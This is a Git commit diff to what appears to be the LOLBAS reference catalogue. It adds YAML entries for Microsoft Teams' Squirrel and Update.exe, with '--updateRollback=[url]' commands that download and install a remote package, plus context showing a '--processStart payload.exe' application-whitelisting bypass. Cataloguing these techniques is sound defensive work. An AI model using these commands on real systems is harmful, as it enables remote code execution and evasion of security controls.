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Code Issues Projects Releases Wiki Activity

Updated update and squirrel with updaterollback parameter

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This commit is contained in:
Oddvar Moe 2019-07-02 09:06:19 +02:00
parent 8fcc9a105a
commit 5b63815c0a
2 changed files with 34 additions and 0 deletions
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17
yml/OtherMSBinaries/squirrel.yml
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@ -28,6 +28,22 @@ Commands:
MitreID: T1218 MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: squirrel.exe --updateRoolback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: squirrel.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
Full_Path: Full_Path:
- Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe' - Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe'
Code_Sample: Code_Sample:
@ -39,6 +55,7 @@ Resources:
- Link: https://twitter.com/reegun21/status/1144182772623269889 - Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/ - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
Acknowledgement: Acknowledgement:
- Person: Reegun J (OCBC Bank) - Person: Reegun J (OCBC Bank)
Handle: '@reegun21' Handle: '@reegun21'

17
yml/OtherMSBinaries/update.yml
View File

@ -28,6 +28,22 @@ Commands:
MitreID: T1218 MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRoolback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --processStart payload.exe --process-start-args "whatever args" - Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied. Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Application Whitelisting Bypass Usecase: Application Whitelisting Bypass
@ -56,6 +72,7 @@ Resources:
- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408 - Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/ - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
Acknowledgement: Acknowledgement:
- Person: Reegun J (OCBC Bank) - Person: Reegun J (OCBC Bank)
Handle: '@reegun21' Handle: '@reegun21'